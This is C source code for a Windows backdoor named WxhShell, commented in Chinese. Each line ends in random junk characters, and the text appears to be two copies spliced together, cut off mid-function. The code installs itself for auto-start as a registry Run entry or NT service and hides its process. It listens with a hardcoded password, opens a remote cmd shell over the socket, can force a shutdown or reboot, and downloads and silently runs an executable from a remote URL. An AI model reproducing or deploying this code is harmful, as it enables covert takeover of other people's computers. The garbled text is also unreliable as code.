  case 'd': { ~eDI$IO  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :Df)"~/mO+  
    if(Boot(SHUTDOWN)) x_yF|]aI!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A:/}`  
    else { hQXxG/yFm  
    closesocket(wsh); / T ,zZ9=  
    ExitThread(0); z VdKYs i^  
    } VsEGX@;tO  
    break; x8Q~VVZr  
    } l$F_"o?&S@  
  // 获取shell l{8CISO*  
  case 's': { 8=:A/47=J  
    CmdShell(wsh); AWO0NWTB  
    closesocket(wsh); PC|'yAN:  
    ExitThread(0); C5Xof|#p|  
    break; h%' N hV  
  } ?4,@, ae&  
  // 退出 5? Wg%@  
  case 'x': { cST\~SUm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~]&B >q  
    CloseIt(wsh); dsV ~|D6:  
    break; D}MoNE[r  
    }  ozU2  
  // 离开 5:c;RRn  
  case 'q': { H"_v+N5=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); aVP5%  
    closesocket(wsh); zhX;6= X2  
    WSACleanup(); wS V@=)H\:  
    exit(1); _ \l HI  
    break; x@Y|v@}BE  
        } [UoqIU  
  } \7yJ\I  
  } #pX8{Tf[  
v;Es^ YI  
  // 提示信息 WHP;Neb6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RK-x?ZYH'  
} p'}lN|"{O  
  } yxvjg\!&  
PcB{ = L  
  return; `NQ{)N0!  
} ijF V<P  
zj{(p Z1  
// shell模块句柄 I0iY+@^5  
int CmdShell(SOCKET sock) _lP4}9p  
{ 7,h3V=^)Q  
STARTUPINFO si; Qwv '<  
ZeroMemory(&si,sizeof(si)); 9\AS@SH{^T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wlrIgn%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7H%_sw5S.  
PROCESS_INFORMATION ProcessInfo; ]U[&uymax  
char cmdline[]="cmd"; =5ug\S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @ u+|=x];  
  return 0; ZOuR"9]  
} eQ<xp A  
OF8WDo`  
// 自身启动模式 12lEs3  
int StartFromService(void) 4:U0f;Fs  
{ dKm`14f]@G  
typedef struct Jn*Nao_)  
{ 9:-T@u  
  DWORD ExitStatus; 0R|K0XH#$  
  DWORD PebBaseAddress; Z(HZB  
  DWORD AffinityMask; D-pX<0 -y  
  DWORD BasePriority; >! oF0R_<  
  ULONG UniqueProcessId; _IxamWpX$  
  ULONG InheritedFromUniqueProcessId; lUHtjr  
}   PROCESS_BASIC_INFORMATION; f*<ps o  
!!WJn}  
PROCNTQSIP NtQueryInformationProcess; K6hfauWd[  
hO6RQ0Iv@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0wFh%/:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5mavcle{4r  
sL i*SR  
  HANDLE             hProcess; 3u_oRs  
  PROCESS_BASIC_INFORMATION pbi; b@ 6:1x  
Fc'[+L--Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \5hw9T&[B  
  if(NULL == hInst ) return 0; fLNag~  
o8{<qn|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W`x)=y]Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1~@|e Wr|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )~}PgbZ^  
+9zA^0   
  if (!NtQueryInformationProcess) return 0; ~KRnr0  
q 5p e~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,d cg?48  
  if(!hProcess) return 0; )b92yP{  
E eB3 }  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *S4aF*Qk  
TKOP;[1h  
  CloseHandle(hProcess); 1Nj=B_T  
f=m/ -mAA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o?wt$j-  
if(hProcess==NULL) return 0; l3p3tT3+  
kOipH |.x  
HMODULE hMod; dE [Ol   
char procName[255]; 2 .f|2:I  
unsigned long cbNeeded; 9"ugz^uKt  
AS|Rd+ .  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y]'CXCml)  
dIJGB==  
  CloseHandle(hProcess); Gw{+xz KJ  
C3}Aq8$6  
if(strstr(procName,"services")) return 1; // 以服务启动 yp+F<5o  
P}@*Z>j:#  
  return 0; // 注册表启动 a#y{pT2 b  
} dB3N%pB^  
%S`ik!K"I  
// 主模块 7Z0/(V.-  
int StartWxhshell(LPSTR lpCmdLine) }g{_AiP rv  
{ 2y kCtRe  
  SOCKET wsl; 9p`r7:  
BOOL val=TRUE; JIxiklk  
  int port=0; M&yqfb[  
  struct sockaddr_in door; J=*K"8Qr  
)GJP_*Ab  
  if(wscfg.ws_autoins) Install(); Qh-4vy =r  
m7m \`;  
port=atoi(lpCmdLine); cPuHLwwYf  
e$wt&^W  
if(port<=0) port=wscfg.ws_port; Uh}X<d/V  
ET-Vm >]  
  WSADATA data; _- %d9@x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M|r8KW~S)  
i03gX<=*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t`u!]DHv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7'OPjt M  
  door.sin_family = AF_INET; H$tb;:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5v9uHxy  
  door.sin_port = htons(port); S}7>RHe  
RmOyGSO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4seciz0?  
closesocket(wsl); f#P_xn&et  
return 1; x?L hq2  
} V]c5 Z$Bd  
}V]eg,.BJ  
  if(listen(wsl,2) == INVALID_SOCKET) { z-@ -O  
closesocket(wsl); J+Bdz6lt  
return 1; IN^_BKQt  
} V@Wcb$mgk  
  Wxhshell(wsl); uV~e|X "9s  
  WSACleanup(); :woa&(wN;1  
<Wy>^<`  
return 0; *]x_,:R6Ow  
D{C:d\ e)$  
} J^ ={}  
cy1jZ1)  
// 以NT服务方式启动 0JXqhc9'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TpP8=8_Lh  
{ <AUWby,"  
DWORD   status = 0; l!IGc:  
  DWORD   specificError = 0xfffffff; ``9 GY  
^,V[nfQR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q4wc-s4RN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; q# vlBL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %&<W(|U1<  
  serviceStatus.dwWin32ExitCode     = 0; o:UXPAj  
  serviceStatus.dwServiceSpecificExitCode = 0; !kXeO6X@m  
  serviceStatus.dwCheckPoint       = 0; l h/&__  
  serviceStatus.dwWaitHint       = 0; wPnybb{  
*IZf^-=Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sX:lE^)-z  
  if (hServiceStatusHandle==0) return; %;O}FyP  
\L[i9m|e  
status = GetLastError(); Z;b+>2oL  
  if (status!=NO_ERROR) 3ATjsOL  
{ m;/i<:`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; < y>:B}9'  
    serviceStatus.dwCheckPoint       = 0; qI2'u%  
    serviceStatus.dwWaitHint       = 0; inF6M8 A1  
    serviceStatus.dwWin32ExitCode     = status; Nl*i5 io  
    serviceStatus.dwServiceSpecificExitCode = specificError; %^.P~s6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @J vZ[T/  
    return; [ rdsv  
  } xjq0D[  
vv/J 5#^,\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^ vbWRG~  
  serviceStatus.dwCheckPoint       = 0; Z$;"8XUM  
  serviceStatus.dwWaitHint       = 0; aqr!oxn?t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +t]Xj1Q  
} #@Y/{[s|@  
X~RH^VYv  
// 处理NT服务事件,比如:启动、停止 vWY(%Q,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *gu8-7'  
{ +Me2U9  
switch(fdwControl) 97!5Q~I  
{ R^P_{_I*"  
case SERVICE_CONTROL_STOP: xmH-!Da  
  serviceStatus.dwWin32ExitCode = 0; I/p]DT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gfo}I2"  
  serviceStatus.dwCheckPoint   = 0; `WlE| G[  
  serviceStatus.dwWaitHint     = 0; {}\CL#~y  
  { 9 5 H?{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >oqZ !V5[  
  } A=`* r*  
  return; 0Nr\2|  
case SERVICE_CONTROL_PAUSE: ybvI?#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; '29WscU  
  break; . U/k<v<)6  
case SERVICE_CONTROL_CONTINUE: *Bw#c j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; nj2gs,k  
  break; pm]fQ uq  
case SERVICE_CONTROL_INTERROGATE: lbkL yp2  
  break; SrZ50Se  
}; s4,(26y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $D_HZ"ytu  
} -:]@HD:  
9S1#Lr`r  
// 标准应用程序主函数 iJP{|-h  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]Oso#GYD  
{ }gCHQ;U7`  
u~'OcO  
// 获取操作系统版本 i6>R qP!69  
OsIsNt=GetOsVer();  _^T}_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); GZ3/S|SMP  
MY F#A  
  // 从命令行安装 [ud|dwP"  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6%?A>  
{tt$w>X  
  // 下载执行文件 JEHK:1^  
if(wscfg.ws_downexe) { &r@H(}$1\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,F: =(21  
  WinExec(wscfg.ws_filenam,SW_HIDE); (~#G'Hd  
} }1m_o@{3P  
"{( [!  
if(!OsIsNt) { ( V4G<-jG  
// 如果时win9x,隐藏进程并且设置为注册表启动 t _\MAK  
HideProc(); {A3 m+_8  
StartWxhshell(lpCmdLine); I,j3bC  
} hTw}X.<4  
else %dmfBf Ev  
  if(StartFromService()) Uu5C%9^s  
  // 以服务方式启动 pULsGb  
  StartServiceCtrlDispatcher(DispatchTable); 3h&bZ  
else 263*: Y  
  // 普通方式启动 btQet.  
  StartWxhshell(lpCmdLine); N!m%~kS9k<  
{!=2<-Aq  
return 0; WQt5#m; W  
} !}q."%%J_%  
rzV"Dm$'  
7bT /KLU  
J@` 8(\(  
=========================================== DHzkRCM  
Zh,]J `  
p&5S|![\  
JZ K7uB,X  
xG%*PNM0q  
F+*Q <a4  
" %6]\^  
4oJ$dN  
#include <stdio.h> U**)H_S/~  
#include <string.h> Z| L2oc e  
#include <windows.h> |nm2Uy/0  
#include <winsock2.h> c[{UI  
#include <winsvc.h> C BlXC7_Mi  
#include <urlmon.h> XnY"oDg^>  
S'@=3)  
#pragma comment (lib, "Ws2_32.lib") Wp4K6x  
#pragma comment (lib, "urlmon.lib") |EeBSRAfe  
BWEv1' v  
#define MAX_USER   100 // 最大客户端连接数 <[9?Rj@  
#define BUF_SOCK   200 // sock buffer :c<*%*e  
#define KEY_BUFF   255 // 输入 buffer ;]@exp 5  
,'_( DJX  
#define REBOOT     0   // 重启 Ilef+V^qr  
#define SHUTDOWN   1   // 关机 KpGUq0d@  
J)huy\>,  
#define DEF_PORT   5000 // 监听端口 8t\}c6/3"  
{Zwf..,  
#define REG_LEN     16   // 注册表键长度 .C?GW1[c~@  
#define SVC_LEN     80   // NT服务名长度 uk6g s)qxC  
* gHCy4u{  
// 从dll定义API M8_R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R8uj3!3^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s7M}NA 0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Gc^t%Ue-H)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mQ=sNZ-d]  
[DhEh@  
// wxhshell配置信息 SS0_P jKz  
struct WSCFG { ZM 8U]0[X  
  int ws_port;         // 监听端口 m0C{SBn-M  
  char ws_passstr[REG_LEN]; // 口令 @E(P9zQ/zy  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^(g_.>  
  char ws_regname[REG_LEN]; // 注册表键名 Z:c*!`F  
  char ws_svcname[REG_LEN]; // 服务名 dFMAh&:>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HT-PWk>2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 369Zu4|u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b?>VPuyBb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #@q1Ko!NZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" F~'sT}A*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l{QC}{Ejc2  
{RJ52Gx(  
}; }v&K~!*  
( mt*y]p?  
// default Wxhshell configuration )WclV~  
struct WSCFG wscfg={DEF_PORT, i=V-@|Z  
    "xuhuanlingzhe", z g)|rm  
    1, d^y86pq.  
    "Wxhshell", [!Ao,rt?Vg  
    "Wxhshell", Q2FQhc@L(:  
            "WxhShell Service", X7b!;%3@  
    "Wrsky Windows CmdShell Service", | F8]Xnds  
    "Please Input Your Password: ", I<KCt2:X  
  1, P]- #wz=S  
  "http://www.wrsky.com/wxhshell.exe", V4Qz*z%  
  "Wxhshell.exe" g kn)V~ij  
    }; S NN#$8\  
#:Xa'D+  
// 消息定义模块 z :? :  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~\3l!zIq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }\ EL;sT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; py=i!vb&Z%  
char *msg_ws_ext="\n\rExit."; T"IW Jpc  
char *msg_ws_end="\n\rQuit."; OFp#<o,p  
char *msg_ws_boot="\n\rReboot..."; \Me"'.F?  
char *msg_ws_poff="\n\rShutdown..."; q{[1fE"[K4  
char *msg_ws_down="\n\rSave to "; ss*5.(y  
*0lt$F$~b  
char *msg_ws_err="\n\rErr!"; GG*BN<(>!  
char *msg_ws_ok="\n\rOK!"; aw]8V:)$J  
8pd&3G+  
char ExeFile[MAX_PATH]; A_aO }oBX  
int nUser = 0; L-j/R1fTvl  
HANDLE handles[MAX_USER]; t Z+0}d  
int OsIsNt; R&gWqt/  
!eV^Ah>PZ  
SERVICE_STATUS       serviceStatus; UC.8DaIPN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; { qjUI  
`..EQ BM  
// 函数声明 3Nc'3NPQ'  
int Install(void); `Y0fst<,  
int Uninstall(void); /\nJ  
int DownloadFile(char *sURL, SOCKET wsh); BF>T*Z-Ki  
int Boot(int flag); %s]U@Ku(a  
void HideProc(void); nMLU-C!t  
int GetOsVer(void); `Yg7,{A\J  
int Wxhshell(SOCKET wsl);  MK<  
void TalkWithClient(void *cs); 6^WiZ^~  
int CmdShell(SOCKET sock); iOKr9%9?Z  
int StartFromService(void);  y/z9Ce*>  
int StartWxhshell(LPSTR lpCmdLine); p!C_:Z5i  
xP XoJN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H^ESA s6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ',:3>{9  
XC :;Rq'j  
// 数据结构和表定义 d~w}NK[(  
SERVICE_TABLE_ENTRY DispatchTable[] = hkkF1 h  
{ \dC.%#  
{wscfg.ws_svcname, NTServiceMain}, 9zmD6G!}t  
{NULL, NULL} =`rppO  
}; F@B  
+Kxe ymwr2  
// 自我安装 &t[z  
int Install(void) N'htcC  
{ xV"6d{+  
  char svExeFile[MAX_PATH]; ?f(pQy@V  
  HKEY key; ~JIywzcf8  
  strcpy(svExeFile,ExeFile); bXa %EMF  
tq2-.]Y@U  
// 如果是win9x系统,修改注册表设为自启动 `\Uc4lRS  
if(!OsIsNt) { Iq^~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c(QG4.)m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?ykVfO'  
  RegCloseKey(key); 2,rY\Nu_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f+Pg1Q0zI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZD$-V 3e`  
  RegCloseKey(key); +8L(pMI4  
  return 0; xgZV0!%  
    } n ;Ql=4  
  } SD)5?{6<  
} 45]Ym{]  
else { 7f.4/x^  
!%SdTaC{T  
// 如果是NT以上系统,安装为系统服务 )6O\WB|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nXx6L!HJ#  
if (schSCManager!=0) p ~,a=  
{ |#Yu.c*  
  SC_HANDLE schService = CreateService eD>-`'7<  
  ( }S'I DHla  
  schSCManager,  ]2hF!{wc  
  wscfg.ws_svcname, ;u4@iN}p  
  wscfg.ws_svcdisp, jx^|2  
  SERVICE_ALL_ACCESS, }CB=c]p  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0"wbcAh)  
  SERVICE_AUTO_START, T4%i`<i  
  SERVICE_ERROR_NORMAL, Xq=!"E  
  svExeFile, 1puEP *P  
  NULL, ;oN{I@}k  
  NULL, jKY Aid{-  
  NULL, L%c]%3A  
  NULL, 8:3oH!n  
  NULL YyQf  
  ); BN<#x@m$]  
  if (schService!=0) V0SW 5 m  
  { =)"NE>  
  CloseServiceHandle(schService); pfJVE  
  CloseServiceHandle(schSCManager); .N2nJ/   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l<0[ K(  
  strcat(svExeFile,wscfg.ws_svcname); )A>U<n$h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Zi[{\7a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wiK@o$S-  
  RegCloseKey(key); lOowMlf@2  
  return 0; W TXD4}  
    } ZNL;8sI?>  
  } *@$($<pY&  
  CloseServiceHandle(schSCManager); #z-iL!?  
} V7K tbL#  
} ($ [r>)TG  
AAlmG9l&7  
return 1; ~PU1vbv9T  
} h%C Eb<  
Knw'h;,[  
// 自我卸载 _D7HQ  
int Uninstall(void) H3UX{|[  
{ o2 T/IJP  
  HKEY key; 7Ap~7)z[  
XNkQk0i;g&  
if(!OsIsNt) { (dO'_s&M]/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )<]w23i  
  RegDeleteValue(key,wscfg.ws_regname); q>(I*=7  
  RegCloseKey(key); 1?e>x91  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~u~[E  
  RegDeleteValue(key,wscfg.ws_regname); s= GOB"G  
  RegCloseKey(key); V1CSXY\2  
  return 0; M<M# < kD  
  } (> +k3  
} 5tgILxSK  
} (DEL xE  
else { Pi"tQyw39$  
\@ WsF$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NbQMWU~7  
if (schSCManager!=0) rH2tC=%  
{ C>k;MvqO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tLoD"/z  
  if (schService!=0) :#Ex3H7  
  { uV/HNzC  
  if(DeleteService(schService)!=0) { 2RSHB o  
  CloseServiceHandle(schService); 1"4nmw}  
  CloseServiceHandle(schSCManager); P"~qio-  
  return 0; _($-dJ {  
  } yuy+}]uB@  
  CloseServiceHandle(schService); \KnD"0KW   
  } %Zv(gI`A  
  CloseServiceHandle(schSCManager); I 1VEm?CQ  
} ?-.Ep0/  
} TYJnQ2m  
K,L>  
return 1; !e#I4,fn  
} mKf>6/s{c  
jV|$? Rcl%  
// 从指定url下载文件 LBbo.KxAe3  
int DownloadFile(char *sURL, SOCKET wsh) $@:>7Y"  
{ 28UL  
  HRESULT hr; xP5mL3j  
char seps[]= "/"; ;+TF3av0zq  
char *token; g.`t!6Hc  
char *file; wCC~tuTpr  
char myURL[MAX_PATH]; :)+@qxTy  
char myFILE[MAX_PATH]; )kY _"= d  
23u1nU[0  
strcpy(myURL,sURL); BhE~k?$9  
  token=strtok(myURL,seps); #1qVFU  
  while(token!=NULL) D?*sdm9r`  
  { wTMHoU*>  
    file=token; G|6|;   
  token=strtok(NULL,seps); Ae{4AZ  
  } H>X>5_{}  
Z.Y;[Y  
GetCurrentDirectory(MAX_PATH,myFILE); {KpH|i  
strcat(myFILE, "\\"); utm+\/  
strcat(myFILE, file); .' N O~  
  send(wsh,myFILE,strlen(myFILE),0); G &rYz  
send(wsh,"...",3,0); 4f*Ua`E_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p$b= r+1f  
  if(hr==S_OK) i6g[E 4nk  
return 0; 3Ld ;zW  
else +{Vwz  
return 1; sKB-7  
:9rhv{6Wp  
} ubN"(F:!-S  
SU#P.y18%  
// 系统电源模块 < jocfTBk  
int Boot(int flag) -RqAT1  
{ nGJIjo_I  
  HANDLE hToken; O3w_vm'  
  TOKEN_PRIVILEGES tkp; g%q?2Nv  
sh)) [V"8  
  if(OsIsNt) { @<w9fzi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vA7jZw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A2O_pbQti  
    tkp.PrivilegeCount = 1; "TH-A6v1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O"s`-OM;n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^* /v,+01f  
if(flag==REBOOT) { 3W0E6H"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1~xn[acy  
  return 0; { d2f)ra.  
} |>o0d~s  
else { 6L6~IXL>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -JQg ~1  
  return 0; }A'<?d8   
} Hb AMoow!  
  } n XeK,C  
  else { l^eNZ3:H  
if(flag==REBOOT) { <1 1Tqb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J&U0y  
  return 0; 8,H5G`  
} t ]I(98pY  
else { vhquHy.qi#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q"K>ML>0  
  return 0; A7,$y!D  
} rs<&x(=Hv  
} =5=Vm[  
=&b$W/l)0  
return 1; -S3+ h$Y8  
} a4CNPf<$  
tDLk ZCP  
// win9x进程隐藏模块 Qx,$)|_  
void HideProc(void) 2=,Sz1`t  
{ I/b8  
dVG UhXN6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *=If1qZs  
  if ( hKernel != NULL ) s riq(A  
  { nh&<fnh  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >dm._*M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); '%RK KA  
    FreeLibrary(hKernel); <VxpMF  
  } MJ/%$  
_NqT8C4C  
return; *_K-T#  
} GuY5 % wr  
<w2NJ ~M^  
// 获取操作系统版本 6.7 Kp  
int GetOsVer(void) |{LaZXU&  
{ XM@i|AK M0  
  OSVERSIONINFO winfo; P$ dgO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z *<x  
  GetVersionEx(&winfo);  aC }1]7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m#K%dR  
  return 1; eF;1l<<   
  else 95 .'t}  
  return 0; 3XlnI:w =  
} MMr7,?,$  
hYv 6-5_  
// 客户端句柄模块 <J }9.k  
int Wxhshell(SOCKET wsl) |QTqa~~B  
{ 8EEQV}4  
  SOCKET wsh; IS4K$Ac.  
  struct sockaddr_in client; W#\};P  
  DWORD myID; Z#:@M[HH{  
m'"VuH?^  
  while(nUser<MAX_USER) p'!,F; xX  
{ s]8J+8 <uO  
  int nSize=sizeof(client); nzJi)A./  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `0XbV A  
  if(wsh==INVALID_SOCKET) return 1; V >uW|6  
fX$4TPy(h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P:-/3  
if(handles[nUser]==0) 7Z~szD  
  closesocket(wsh); 7`<? f O  
else |{IU<o x  
  nUser++; u2O^3r G-  
  } `b`52b\6S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c%/&@vs7  
UVmyOC[Y{  
  return 0; d?y\~<  
} d#:J\2V"R  
SWO!E  
// 关闭 socket Afhx`J1KO  
void CloseIt(SOCKET wsh) :XZom+>2n  
{ {#M{~  
closesocket(wsh); >37}JUG  
nUser--; x  Bw.M{  
ExitThread(0); V+~{a:8[pq  
} iwjl--)@K  
5qfKV&D  
// 客户端请求句柄 9l_?n@   
void TalkWithClient(void *cs) ?F!J@Xn5  
{ #I~dv{RX  
PH%gX`N  
  SOCKET wsh=(SOCKET)cs; WM )g(i~(  
  char pwd[SVC_LEN]; Q R$sIu@%  
  char cmd[KEY_BUFF]; :p)9Heu  
char chr[1]; cE>/iZc  
int i,j; }e =GvWGa  
Pc4c Sw#5  
  while (nUser < MAX_USER) { 1gej$G@  
J7^T!7V.  
if(wscfg.ws_passstr) { xQ 3u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t\d;}@bl  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M]TVaN$v#  
  //ZeroMemory(pwd,KEY_BUFF); c O>:n  
      i=0; 6@ ^`-N;  
  while(i<SVC_LEN) { pYUkd!K"  
.+ o>  
  // 设置超时 #|h8u`  
  fd_set FdRead; aMg f6veM  
  struct timeval TimeOut; }eFUw  
  FD_ZERO(&FdRead); J,KTc'[  
  FD_SET(wsh,&FdRead); -mo ' $1  
  TimeOut.tv_sec=8; %)ov,p |  
  TimeOut.tv_usec=0; T\CQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @Hdg-f>y]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l<_mag/j9o  
 2_v+q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H1i4_T  
  pwd=chr[0]; luog_;{h+  
  if(chr[0]==0xd || chr[0]==0xa) { bO3KaOC8N  
  pwd=0; zb,`K*Z{  
  break; q[A3$y(  
  } Jn&>Z? @  
  i++; e ;r-}U  
    } D|3QLG  
CGl+!t{  
  // 如果是非法用户,关闭 socket irj}:f;!eF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |ema-pRC  
} , )3+hnFY  
2dW-WHaM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g c=|< (  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -3U} (cZ*  
7B"aFnK;[J  
while(1) { )WJI=jl  
)3 ">%1R  
  ZeroMemory(cmd,KEY_BUFF); oYx f((x  
"z4E|s  
      // 自动支持客户端 telnet标准   yE{UV>ry  
  j=0; 4zbV' ]  
  while(j<KEY_BUFF) { io_64K+K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b?L43t,  
  cmd[j]=chr[0]; 9 NSYrIQ"  
  if(chr[0]==0xa || chr[0]==0xd) { j'cCX[i  
  cmd[j]=0; SYLkC [0 k  
  break; w*@Z-'(j  
  } Z9bPj8d  
  j++; S]@iS[|?  
    } .sMi"gg  
?IO/zkeXg  
  // 下载文件 Yr0i9Qow  
  if(strstr(cmd,"http://")) { I65GUX#DV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f\w4F'^tj  
  if(DownloadFile(cmd,wsh)) -bQvJ`iF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); H}rP{`m  
  else NO1]JpR  
